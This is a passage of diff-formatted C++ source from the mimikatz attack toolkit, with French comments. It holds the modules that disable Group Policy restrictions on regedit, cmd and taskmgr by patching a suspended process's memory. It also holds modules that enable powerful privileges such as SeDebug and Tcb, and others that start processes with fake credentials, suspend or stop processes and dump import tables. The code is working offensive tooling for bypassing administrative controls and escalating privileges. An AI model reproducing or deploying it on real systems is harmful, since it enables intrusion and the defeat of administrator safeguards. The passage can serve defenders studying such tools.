return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_nogpo::getApplicationPathFromCLSID(wstring application, wstring * path)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
DWORD regError;
|
||||
|
||||
wstring pathToApplication = L"Software\\Classes\\";
|
||||
pathToApplication.append(application);
|
||||
pathToApplication.append(L"\\CLSID");
|
||||
|
||||
HKEY hApplication;
|
||||
|
||||
regError = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pathToApplication.c_str(), 0, KEY_READ, &hApplication);
|
||||
if(regError == ERROR_SUCCESS)
|
||||
{
|
||||
DWORD ApplicationType = 0;
|
||||
DWORD ApplicationSize = 0;
|
||||
LPBYTE monGUID = NULL;
|
||||
|
||||
regError = RegQueryValueEx(hApplication, L"", NULL, &ApplicationType, monGUID, &ApplicationSize);
|
||||
if(regError == ERROR_SUCCESS)
|
||||
{
|
||||
if(ApplicationType == REG_SZ)
|
||||
{
|
||||
monGUID = new BYTE[ApplicationSize];
|
||||
|
||||
regError = RegQueryValueEx(hApplication, L"", NULL, &ApplicationType, monGUID, &ApplicationSize);
|
||||
if(regError == ERROR_SUCCESS)
|
||||
{
|
||||
wstring regPathToPath =
|
||||
#ifdef _M_X64
|
||||
L"Software\\Wow6432Node\\Classes\\CLSID\\";
|
||||
#elif defined _M_IX86
|
||||
L"Software\\Classes\\CLSID\\";
|
||||
#endif
|
||||
regPathToPath.append(reinterpret_cast<wchar_t *>(monGUID));
|
||||
regPathToPath.append(L"\\LocalServer32");
|
||||
|
||||
HKEY hApplicationPath;
|
||||
|
||||
regError = RegOpenKeyEx(HKEY_LOCAL_MACHINE, regPathToPath.c_str(), 0, KEY_READ, &hApplicationPath);
|
||||
if(regError == ERROR_SUCCESS)
|
||||
{
|
||||
DWORD ApplicationPathType = 0;
|
||||
DWORD ApplicationPathSize = 0;
|
||||
LPBYTE monPath = NULL;
|
||||
|
||||
regError = RegQueryValueEx(hApplicationPath, L"", NULL, &ApplicationPathType, monPath, &ApplicationPathSize);
|
||||
if(regError == ERROR_SUCCESS)
|
||||
{
|
||||
if(ApplicationPathType == REG_SZ)
|
||||
{
|
||||
monPath = new BYTE[ApplicationPathSize];
|
||||
|
||||
regError = RegQueryValueEx(hApplicationPath, L"", NULL, &ApplicationPathType, monPath, &ApplicationPathSize);
|
||||
if(reussite = (regError == ERROR_SUCCESS))
|
||||
{
|
||||
path->assign(reinterpret_cast<wchar_t *>(monPath));
|
||||
} else wcout << "RegQueryValueEx \'" << monPath << "\' : " << mod_system::getWinError(false, regError) << endl;
|
||||
delete[] monPath;
|
||||
} else wcout << "Le type retourné par \'" << monPath << "\' n\'est pas : REG_SZ" << endl;
|
||||
} else wcout << "RegQueryValueEx \'" << monPath << "\' : " << mod_system::getWinError(false, regError) << endl;
|
||||
RegCloseKey(hApplicationPath);
|
||||
} else wcout << "RegOpenKeyEx \'" << regPathToPath << "\' : " << mod_system::getWinError(false, regError) << endl;
|
||||
} else wcout << "RegQueryValueEx \'" << monGUID << "\' : " << mod_system::getWinError(false, regError) << endl;
|
||||
delete[] monGUID;
|
||||
} else wcout << "Le type retourné par \'" << monGUID << "\' n\'est pas : REG_SZ" << endl;
|
||||
} else wcout << "RegQueryValueEx \'" << monGUID << "\' : " << mod_system::getWinError(false, regError) << endl;
|
||||
RegCloseKey(hApplication);
|
||||
} else wcout << "RegOpenKeyEx \'" << pathToApplication << "\' : " << mod_system::getWinError(false, regError) << endl;
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
|
||||
bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, SIZE_T taillePattern, PBYTE maCleDeDepart, const void * maCleFinale, DWORD * monPID)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
PROCESS_INFORMATION * mesInfos = new PROCESS_INFORMATION();
|
||||
if(mod_process::start(&commandLine, mesInfos, true))
|
||||
{
|
||||
PEB * monPeb = new PEB();
|
||||
if(mod_process::getPeb(monPeb, mesInfos->hProcess))
|
||||
{
|
||||
PBYTE patternAddr = NULL;
|
||||
// Ici NULL est "toléré", pas de moyen simple de connaitre la taille en mode USER :( (enfin pour le moment)
|
||||
if(mod_memory::searchMemory(reinterpret_cast<PBYTE>(monPeb->ImageBaseAddress), NULL, maCleDeDepart, &patternAddr, taillePattern, true, mesInfos->hProcess))
|
||||
{
|
||||
if(!(reussite = mod_memory::writeMemory(patternAddr, maCleFinale, taillePattern, mesInfos->hProcess)))
|
||||
{
|
||||
wcout << L"mod_memory::writeMemory " << mod_system::getWinError() << endl;
|
||||
}
|
||||
}
|
||||
else wcout << L"mod_memory::searchMemory " << mod_system::getWinError() << endl;
|
||||
}
|
||||
else wcout << L"mod_process::getPeb " << mod_system::getWinError() << endl;
|
||||
|
||||
delete monPeb;
|
||||
|
||||
if(!(ResumeThread(mesInfos->hThread) != -1))
|
||||
wcout << L"ResumeThread " << mod_system::getWinError() << endl;
|
||||
|
||||
if(monPID)
|
||||
{
|
||||
*monPID = mesInfos->dwProcessId;
|
||||
}
|
||||
|
||||
WaitForInputIdle(mesInfos->hProcess, INFINITE);
|
||||
|
||||
CloseHandle(mesInfos->hThread);
|
||||
CloseHandle(mesInfos->hProcess);
|
||||
}
|
||||
else wcout << L"mod_process::execProcess " << mod_system::getWinError() << endl;
|
||||
|
||||
delete mesInfos;
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, wstring origKey, wstring kiwiKey, DWORD * monPID)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
if(origKey.size() == kiwiKey.size())
|
||||
{
|
||||
SIZE_T taillePattern = (origKey.size() + 1) * sizeof(wchar_t);
|
||||
PBYTE maCleDeDepart = reinterpret_cast<PBYTE>(const_cast<wchar_t *>(origKey.c_str()));
|
||||
const void * maCleFinale = kiwiKey.c_str();
|
||||
|
||||
reussite = disableSimple(commandLine, taillePattern, maCleDeDepart, maCleFinale, monPID);
|
||||
}
|
||||
else wcout << L"mod_mimikatz_nogpo::disableSimple (unicode) Taille du pattern original différente du pattern cible" << endl;
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, string origKey, string kiwiKey, DWORD * monPID)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
if(origKey.size() == kiwiKey.size())
|
||||
{
|
||||
SIZE_T taillePattern = (origKey.size() + 1) * sizeof(char);
|
||||
PBYTE maCleDeDepart = reinterpret_cast<PBYTE>(const_cast<char *>(origKey.c_str()));
|
||||
const void * maCleFinale = kiwiKey.c_str();
|
||||
|
||||
reussite = disableSimple(commandLine, taillePattern, maCleDeDepart, maCleFinale, monPID);
|
||||
}
|
||||
else wcout << L"mod_mimikatz_nogpo::disableSimple (non-unicode) Taille du pattern original différente du pattern cible" << endl;
|
||||
|
||||
return reussite;
|
||||
}
|
@ -0,0 +1,30 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_process.h"
|
||||
#include "mod_memory.h"
|
||||
#include "mod_patch.h"
|
||||
#include <iostream>
|
||||
|
||||
class mod_mimikatz_nogpo
|
||||
{
|
||||
private:
|
||||
static bool disableSimple(wstring commandLine, wstring origKey, wstring kiwiKey, DWORD * monPID = NULL);
|
||||
static bool disableSimple(wstring commandLine, string origKey, string kiwiKey, DWORD * monPID = NULL);
|
||||
static bool disableSimple(wstring commandLine, SIZE_T taillePattern, PBYTE maCleDeDepart, const void * maCleFinale, DWORD * monPID = NULL);
|
||||
|
||||
static bool getApplicationPathFromCLSID(wstring application, wstring * path);
|
||||
|
||||
public:
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
|
||||
static bool regedit(vector<wstring> * arguments);
|
||||
static bool cmd(vector<wstring> * arguments);
|
||||
static bool taskmgr(vector<wstring> * arguments);
|
||||
static bool olpst(vector<wstring> * arguments);
|
||||
};
|
||||
|
@ -0,0 +1,166 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_privilege.h"
|
||||
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_privilege::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les privilèges"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(enable, L"enable", L"Active un ou plusieurs privilèges"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(remove, L"remove", L"Retire un ou plusieurs privilèges"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(disable, L"disable", L"Désactive un ou plusieurs privilèges"));
|
||||
/* Raccourçis */
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(debug, L"debug", L"Demande (ou désactive) le privilège Debug"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(security, L"security", L"Demande (ou désactive) le privilège Security"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(tcb, L"tcb", L"Demande (ou désactive) le privilège Tcb"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(impersonate, L"impersonate", L"Demande (ou désactive) le privilège Impersonate"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(assign, L"assign", L"Demande (ou désactive) le privilège AssignPrimaryToken"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(shutdown, L"shutdown", L"Demande (ou désactive) le privilège Shutdown"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(takeowner, L"takeowner", L"Demande (ou désactive) le privilège TakeOwnership"));
|
||||
return monVector;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_privilege::enable(vector<wstring> * arguments)
|
||||
{
|
||||
bool reussite = multiplePrivs(arguments, SE_PRIVILEGE_ENABLED);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_privilege::remove(vector<wstring> * arguments)
|
||||
{
|
||||
bool reussite = multiplePrivs(arguments, SE_PRIVILEGE_REMOVED);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_privilege::disable(vector<wstring> * arguments)
|
||||
{
|
||||
bool reussite = multiplePrivs(arguments, 0);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_privilege::simplePriv(wstring priv, vector<wstring> * arguments)
|
||||
{
|
||||
bool ajout = arguments->empty();
|
||||
|
||||
wcout << L"Demande d" << (ajout ? L"\'ACTIVATION" : L"e RETRAIT") << L" du privilège : " << priv << L" : ";
|
||||
|
||||
vector<pair<wstring, DWORD>> * mesPrivs = new vector<pair<wstring, DWORD>>;
|
||||
mesPrivs->push_back(make_pair(priv, ajout ? SE_PRIVILEGE_ENABLED : 0));
|
||||
|
||||
bool reussite = mod_privilege::set(mesPrivs);//, INVALID_HANDLE_VALUE);
|
||||
delete mesPrivs;
|
||||
|
||||
if(reussite)
|
||||
wcout << L"OK";
|
||||
else
|
||||
wcout << L"KO ; " << mod_system::getWinError();
|
||||
wcout << endl;
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_privilege::multiplePrivs(vector<wstring> * privs, DWORD type)
|
||||
{
|
||||
bool reussite = false;
|
||||
vector<pair<wstring, DWORD>> * mesPrivs = new vector<pair<wstring, DWORD>>;
|
||||
for(vector<wstring>::iterator monPrivilege = privs->begin(); monPrivilege != privs->end() ; monPrivilege++)
|
||||
{
|
||||
mesPrivs->push_back(make_pair(*monPrivilege, type));
|
||||
}
|
||||
reussite = mod_privilege::set(mesPrivs);
|
||||
delete mesPrivs;
|
||||
|
||||
if(reussite)
|
||||
wcout << L"OK";
|
||||
else
|
||||
wcout << L"KO ; " << mod_system::getWinError();
|
||||
wcout << endl;
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
|
||||
bool mod_mimikatz_privilege::list(vector<wstring> * arguments)
|
||||
{
|
||||
vector<pair<wstring, DWORD>> * mesPrivs = new vector<pair<wstring, DWORD>>;
|
||||
|
||||
if(mod_privilege::get(mesPrivs))//, INVALID_HANDLE_VALUE))
|
||||
{
|
||||
for(vector<pair<wstring, DWORD>>::iterator monPrivilege = mesPrivs->begin(); (monPrivilege != mesPrivs->end()) ; monPrivilege++)
|
||||
{
|
||||
wcout << setw(35) << setfill(wchar_t(L' ')) << left << monPrivilege->first << right << L'\t';
|
||||
|
||||
if(monPrivilege->second & SE_PRIVILEGE_VALID_ATTRIBUTES)
|
||||
{
|
||||
if(monPrivilege->second & SE_PRIVILEGE_ENABLED_BY_DEFAULT)
|
||||
{
|
||||
wcout << L"ENABLED_BY_DEFAULT ";
|
||||
}
|
||||
|
||||
if(monPrivilege->second & SE_PRIVILEGE_ENABLED)
|
||||
{
|
||||
wcout << L"ENABLED ";
|
||||
}
|
||||
|
||||
if(monPrivilege->second & SE_PRIVILEGE_REMOVED)
|
||||
{
|
||||
wcout << L"REMOVED ";
|
||||
}
|
||||
|
||||
if(monPrivilege->second & SE_PRIVILEGE_USED_FOR_ACCESS)
|
||||
{
|
||||
wcout << L"USED_FOR_ACCESS ";
|
||||
}
|
||||
|
||||
if(monPrivilege->second & SE_PRIVILEGE_REMOVED)
|
||||
{
|
||||
wcout << L"REMOVED";
|
||||
}
|
||||
}
|
||||
|
||||
wcout << endl;
|
||||
}
|
||||
}
|
||||
else wcout << mod_system::getWinError() << endl;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
bool mod_mimikatz_privilege::debug(vector<wstring> * arguments)
|
||||
{
|
||||
simplePriv(SE_DEBUG_NAME, arguments); return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_privilege::security(vector<wstring> * arguments)
|
||||
{
|
||||
simplePriv(SE_SECURITY_NAME, arguments); return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_privilege::tcb(vector<wstring> * arguments)
|
||||
{
|
||||
simplePriv(SE_TCB_NAME, arguments); return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_privilege::impersonate(vector<wstring> * arguments)
|
||||
{
|
||||
simplePriv(SE_IMPERSONATE_NAME, arguments); return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_privilege::assign(vector<wstring> * arguments)
|
||||
{
|
||||
simplePriv(SE_ASSIGNPRIMARYTOKEN_NAME, arguments); return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_privilege::shutdown(vector<wstring> * arguments)
|
||||
{
|
||||
simplePriv(SE_SHUTDOWN_NAME, arguments); return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_privilege::takeowner(vector<wstring> * arguments)
|
||||
{
|
||||
simplePriv(SE_TAKE_OWNERSHIP_NAME, arguments); return true;
|
||||
}
|
@ -0,0 +1,33 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_system.h"
|
||||
#include "mod_privilege.h"
|
||||
#include <iostream>
|
||||
|
||||
class mod_mimikatz_privilege
|
||||
{
|
||||
private:
|
||||
static bool multiplePrivs(vector<wstring> * privs, DWORD type);
|
||||
static bool simplePriv(wstring priv, vector<wstring> * arguments);
|
||||
public:
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
|
||||
static bool list(vector<wstring> * arguments);
|
||||
static bool enable(vector<wstring> * arguments);
|
||||
static bool remove(vector<wstring> * arguments);
|
||||
static bool disable(vector<wstring> * arguments);
|
||||
|
||||
static bool debug(vector<wstring> * arguments);
|
||||
static bool security(vector<wstring> * arguments);
|
||||
static bool tcb(vector<wstring> * arguments);
|
||||
static bool impersonate(vector<wstring> * arguments);
|
||||
static bool assign(vector<wstring> * arguments);
|
||||
static bool shutdown(vector<wstring> * arguments);
|
||||
static bool takeowner(vector<wstring> * arguments);
|
||||
|
||||
};
|
@ -0,0 +1,297 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_process.h"
|
||||
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_process::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les processus"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(start, L"start", L"Exécute un processus, /paused et/ou /sudo"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(suspend, L"suspend", L"Suspend l\'exécution d\'un processus"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(resume, L"resume", L"Reprend un processus"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(stop, L"stop", L"Stoppe un (ou plusieurs) processus"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(modules, L"modules", L"Liste les modules (pour le moment du PID courant)"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(iat, L"iat", L"Liste la table d\'adressage"));
|
||||
return monVector;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_process::start(vector<wstring> * arguments)
|
||||
{
|
||||
if(!arguments->empty())
|
||||
{
|
||||
wstring commande = arguments->back();
|
||||
bool paused = false;
|
||||
bool sudo = false;
|
||||
|
||||
wcout << L"Demande d\'exécution de : \'" << commande << L"'" << endl;
|
||||
PROCESS_INFORMATION pi = {INVALID_HANDLE_VALUE, INVALID_HANDLE_VALUE, 0, 0};
|
||||
|
||||
switch(arguments->size())
|
||||
{
|
||||
case 2:
|
||||
if(_wcsicmp(arguments->front().c_str(), L"/paused") == 0)
|
||||
paused = true;
|
||||
else if(_wcsicmp(arguments->front().c_str(), L"/sudo") == 0)
|
||||
sudo = true;
|
||||
else
|
||||
goto doStartProcess_syntaxerror;
|
||||
|
||||
break;
|
||||
case 3:
|
||||
if(_wcsicmp(arguments->front().c_str(), L"/paused") == 0)
|
||||
paused = true;
|
||||
else
|
||||
goto doStartProcess_syntaxerror;
|
||||
|
||||
if(_wcsicmp(arguments->at(1).c_str(), L"/sudo") == 0)
|
||||
sudo = true;
|
||||
else
|
||||
goto doStartProcess_syntaxerror;
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
if(mod_process::start(&commande, &pi, paused, sudo))
|
||||
{
|
||||
if(paused)
|
||||
wcout << L" * Le Thread principal est suspendu ! Reprise avec : thread::resume " << pi.dwThreadId << endl;
|
||||
|
||||
if(sudo)
|
||||
wcout << L" * Le processus est démarré avec de fausses données d\'identification" << endl;
|
||||
|
||||
printInfosFromPid(pi.dwProcessId, pi.dwThreadId);
|
||||
}
|
||||
else wcout << L"mod_process::start ; " << mod_system::getWinError() << endl;
|
||||
}
|
||||
else
|
||||
{
|
||||
doStartProcess_syntaxerror:
|
||||
wcout << L"Erreur de syntaxe ; " << L"process::start [/paused] [/sudo] commande" << endl;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_process::stop(vector<wstring> * arguments)
|
||||
{
|
||||
for(vector<wstring>::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++)
|
||||
{
|
||||
mod_process::KIWI_PROCESSENTRY32 monProcess;
|
||||
wstring procName = *monProcessName;
|
||||
|
||||
if(mod_process::getUniqueForName(&monProcess, &procName))
|
||||
{
|
||||
wcout << L"Fin de : " << procName << L'\t';
|
||||
if(mod_process::stop(monProcess.th32ProcessID))
|
||||
wcout << L"OK";
|
||||
else
|
||||
wcout << L"KO - mod_process::stop ; " << mod_system::getWinError();
|
||||
wcout << endl;
|
||||
}
|
||||
else wcout << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
bool mod_mimikatz_process::suspend(vector<wstring> * arguments)
|
||||
{
|
||||
for(vector<wstring>::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++)
|
||||
{
|
||||
mod_process::KIWI_PROCESSENTRY32 monProcess;
|
||||
wstring procName = *monProcessName;
|
||||
|
||||
if(mod_process::getUniqueForName(&monProcess, &procName))
|
||||
{
|
||||
wcout << L"Suspension de : " << procName << L'\t';
|
||||
if(mod_process::suspend(monProcess.th32ProcessID))
|
||||
wcout << L"OK";
|
||||
else
|
||||
wcout << L"KO - mod_process::suspend ; " << mod_system::getWinError();
|
||||
wcout << endl;
|
||||
}
|
||||
else wcout << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
bool mod_mimikatz_process::resume(vector<wstring> * arguments)
|
||||
{
|
||||
for(vector<wstring>::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++)
|
||||
{
|
||||
mod_process::KIWI_PROCESSENTRY32 monProcess;
|
||||
wstring procName = *monProcessName;
|
||||
|
||||
if(mod_process::getUniqueForName(&monProcess, &procName))
|
||||
{
|
||||
wcout << L"Reprise de : " << procName << L'\t';
|
||||
if(mod_process::resume(monProcess.th32ProcessID))
|
||||
wcout << L"OK";
|
||||
else
|
||||
wcout << L"KO - mod_process::resume ; " << mod_system::getWinError();
|
||||
wcout << endl;
|
||||
}
|
||||
else wcout << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
bool mod_mimikatz_process::list(vector<wstring> * arguments)
|
||||
{
|
||||
vector<mod_process::KIWI_PROCESSENTRY32> * vectorProcess = new vector<mod_process::KIWI_PROCESSENTRY32>();
|
||||
if(mod_process::getList(vectorProcess))
|
||||
{
|
||||
wcout << L"PID\tPPID\t#Ths\tpri\timage" << endl;
|
||||
for(vector<mod_process::KIWI_PROCESSENTRY32>::iterator monProcess = vectorProcess->begin(); monProcess != vectorProcess->end(); monProcess++)
|
||||
{
|
||||
wcout <<
|
||||
setw(5) << setfill(wchar_t(' ')) << monProcess->th32ProcessID << L'\t' <<
|
||||
setw(5) << setfill(wchar_t(' ')) << monProcess->th32ParentProcessID << L'\t' <<
|
||||
setw(5) << setfill(wchar_t(' ')) << monProcess->cntThreads << L'\t' <<
|
||||
setw(5) << setfill(wchar_t(' ')) << monProcess->pcPriClassBase << L'\t' <<
|
||||
monProcess->szExeFile <<
|
||||
endl;
|
||||
}
|
||||
}
|
||||
else wcout << L"mod_process::getList ; " << mod_system::getWinError() << endl;
|
||||
|
||||
delete vectorProcess;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_process::modules(vector<wstring> * arguments)
|
||||
{
|
||||
DWORD processId = 0 ;
|
||||
|
||||
if(!arguments->empty() && !(arguments->size() > 1))
|
||||
{
|
||||
wstringstream monBuffer;
|
||||
monBuffer << arguments->front();
|
||||
monBuffer >> processId;
|
||||
}
|
||||
|
||||
vector<mod_process::KIWI_MODULEENTRY32> * vectorModules = new vector<mod_process::KIWI_MODULEENTRY32>();
|
||||
if(mod_process::getModulesListForProcessId(vectorModules, &processId))
|
||||
{
|
||||
wcout << L"@Base\tTaille\tModule\tPath" << endl;
|
||||
for(vector<mod_process::KIWI_MODULEENTRY32>::iterator monModule = vectorModules->begin(); monModule != vectorModules->end(); monModule++)
|
||||
{
|
||||
wcout << monModule->modBaseAddr << L'\t' << monModule->modBaseSize << '\t' << monModule->szModule << L'\t' << monModule->szExePath << endl;
|
||||
}
|
||||
}
|
||||
else
|
||||
wcout << L"mod_process::getModulesListForProcessId ; " << mod_system::getWinError() << endl;
|
||||
|
||||
delete vectorModules;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_process::iat(vector<wstring> * arguments)
|
||||
{
|
||||
wstring process;
|
||||
wstring module;
|
||||
|
||||
switch(arguments->size())
|
||||
{
|
||||
case 2:
|
||||
process = arguments->at(0);
|
||||
module = arguments->at(1);
|
||||
break;
|
||||
case 1:
|
||||
process = arguments->at(0);
|
||||
break;
|
||||
default:
|
||||
;
|
||||
}
|
||||
|
||||
mod_process::KIWI_PROCESSENTRY32 monProcess;
|
||||
if(mod_process::getUniqueForName(&monProcess, &process))
|
||||
{
|
||||
if(HANDLE monHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, monProcess.th32ProcessID))
|
||||
{
|
||||
if(module.empty() || (module.front() != L'*'))
|
||||
{
|
||||
if(module.empty())
|
||||
module.assign(process);
|
||||
|
||||
mod_process::KIWI_MODULEENTRY32 * monModule = new mod_process::KIWI_MODULEENTRY32();
|
||||
if(mod_process::getUniqueModuleForName(monModule, &module, &monProcess.th32ProcessID))
|
||||
{
|
||||
printIATFromModule(monModule, monHandle);
|
||||
}
|
||||
else wcout << L"mod_process::getUniqueModuleForName ; " << mod_system::getWinError() << endl;
|
||||
delete monModule;
|
||||
}
|
||||
else
|
||||
{
|
||||
vector<mod_process::KIWI_MODULEENTRY32> * vectorModules = new vector<mod_process::KIWI_MODULEENTRY32>();
|
||||
if(mod_process::getModulesListForProcessId(vectorModules, &monProcess.th32ProcessID))
|
||||
{
|
||||
for(vector<mod_process::KIWI_MODULEENTRY32>::iterator monModule = vectorModules->begin(); monModule != vectorModules->end(); monModule++)
|
||||
printIATFromModule(&*monModule, monHandle);
|
||||
}
|
||||
else wcout << L"mod_process::getModulesListForProcessId ; " << mod_system::getWinError() << endl;
|
||||
|
||||
delete vectorModules;
|
||||
}
|
||||
|
||||
CloseHandle(monHandle);
|
||||
}
|
||||
}
|
||||
else wcout << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void mod_mimikatz_process::printInfosFromPid(DWORD &PID, DWORD ThreadId)
|
||||
{
|
||||
wcout << L"PID : " << PID << endl;
|
||||
|
||||
if(ThreadId)
|
||||
{
|
||||
wcout << L"ThreadID : " << ThreadId << endl;
|
||||
}
|
||||
|
||||
LUID monId = {0, 0};
|
||||
if(mod_process::getAuthentificationIdFromProcessId(PID, monId))
|
||||
{
|
||||
wcout << "AuthId_h : " << monId.HighPart << endl;
|
||||
wcout << "AuthId_l : " << monId.LowPart << endl;
|
||||
}
|
||||
else wcout << L"Erreur : " << mod_system::getWinError() << endl;
|
||||
}
|
||||
|
||||
void mod_mimikatz_process::printIATFromModule(mod_process::KIWI_MODULEENTRY32 * monModule, HANDLE monHandle)
|
||||
{
|
||||
wcout << monModule->szModule << L" -> " << monModule->szExePath << endl;
|
||||
PBYTE baseAddr = reinterpret_cast<PBYTE>(monModule->modBaseAddr);
|
||||
|
||||
vector<pair<string, vector<mod_process::KIWI_IAT_MODULE>>> * monIAT = new vector<pair<string, vector<mod_process::KIWI_IAT_MODULE>>>();
|
||||
if(mod_process::getIAT(baseAddr, monIAT, monHandle))
|
||||
{
|
||||
for(vector<pair<string, vector<mod_process::KIWI_IAT_MODULE>>>::iterator monModuleImporte = monIAT->begin(); monModuleImporte != monIAT->end(); monModuleImporte++)
|
||||
{
|
||||
wcout << L" - Imports depuis : " << monModuleImporte->first.c_str() << endl;
|
||||
for(vector<mod_process::KIWI_IAT_MODULE>::iterator maFonctionImporte = monModuleImporte->second.begin(); maFonctionImporte != monModuleImporte->second.end(); maFonctionImporte++)
|
||||
{
|
||||
wcout << L" " << maFonctionImporte->ptrToFunc << L" -> " << maFonctionImporte->ptrFunc << L' ';
|
||||
if(maFonctionImporte->Ordinal != 0)
|
||||
wcout << L"O# " << maFonctionImporte->Ordinal;
|
||||
else
|
||||
wcout << maFonctionImporte->funcName.c_str();
|
||||
wcout << endl;
|
||||
}
|
||||
}
|
||||
}
|
||||
delete monIAT;
|
||||
}
|
@ -0,0 +1,32 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_system.h"
|
||||
#include "mod_process.h"
|
||||
#include <iostream>
|
||||
|
||||
class mod_mimikatz_process
|
||||
{
|
||||
private:
|
||||
static void printInfosFromPid(DWORD &PID, DWORD ThreadId);
|
||||
static void printIATFromModule(mod_process::KIWI_MODULEENTRY32 * monModule, HANDLE monHandle = INVALID_HANDLE_VALUE);
|
||||
|
||||
public:
|
||||
